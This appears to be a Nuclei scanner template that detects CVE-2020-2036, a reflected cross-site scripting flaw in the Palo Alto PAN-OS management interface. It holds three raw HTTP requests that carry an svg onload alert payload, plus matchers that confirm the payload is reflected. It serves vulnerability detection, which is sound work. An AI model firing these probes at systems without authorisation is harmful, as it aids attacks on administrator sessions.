id: CVE-2020-2036

info:
  name: Palo Alto Networks PAN-OS Web Interface - Cross Site-Scripting
  author: madrobot,j4vaovo
  severity: high
  description: |
    PAN-OS management web interface is vulnerable to reflected cross-site scripting. A remote attacker able to convince an administrator with an active authenticated session on the firewall management interface to click on a crafted link to that management web interface could potentially execute arbitrary JavaScript code in the administrator's browser and perform administrative actions. This issue impacts: PAN-OS 8.1 versions earlier than PAN-OS 8.1.16; PAN-OS 9.0 versions earlier than PAN-OS 9.0.9.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary script code in the context of the targeted user's browser, potentially leading to session hijacking, defacement, or theft of sensitive information.
  remediation: |
    Apply the latest security patches or updates provided by Palo Alto Networks to mitigate this vulnerability.
  reference:
    - https://swarm.ptsecurity.com/swarm-of-palo-alto-pan-os-vulnerabilities/
    - https://security.paloaltonetworks.com/CVE-2020-2036
    - https://nvd.nist.gov/vuln/detail/CVE-2020-2036
    - https://github.com/404notf0und/CVE-Flow
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
    cvss-score: 8.8
    cve-id: CVE-2020-2036
    cwe-id: CWE-79
    epss-score: 0.03232
    epss-percentile: 0.91005
    cpe: cpe:2.3:o:paloaltonetworks:pan-os:*:*:*:*:*:*:*:*
  metadata:
    max-request: 3
    vendor: paloaltonetworks
    product: pan-os
  tags: cve2020,cve,vpn,xss,paloaltonetworks

http:
  - raw:
      - |
        GET /_404_/%22%3E%3Csvg%2Fonload%3Dalert(document.domain)%3E HTTP/1.1
        Host: {{Hostname}}
      - |
        GET /unauth/php/change_password.php/%22%3E%3Csvg%2Fonload%3Dalert(document.domain)%3E HTTP/1.1
        Host: {{Hostname}}
      - |
        GET /php/change_password.php/%22%3E%3Csvg%2Fonload%3Dalert(document.domain)%3E HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: dsl
        dsl:
          - "!contains(tolower(body_1), '<svg/onload=alert(document.domain)>')"
        condition: and

      - type: dsl
        dsl:
          - "status_code_2 == 200 && contains(header_2, 'text/html') && contains(tolower(body_2), '<svg/onload=alert(document.domain)>')"
          - "status_code_3 == 200 && contains(header_3, 'text/html') && contains(tolower(body_3), '<svg/onload=alert(document.domain)>')"
        condition: or
# digest: 4b0a0048304602210089c6dea6d48684d424ba49681ecb0835c3fda1e87848d90511a39562e7ec6cda022100dd4f07c17897a40e424f03c994207533a61c994bcffab2a1306cb1ef3585a6cc:922c64590222798bb761d5b6d8e72950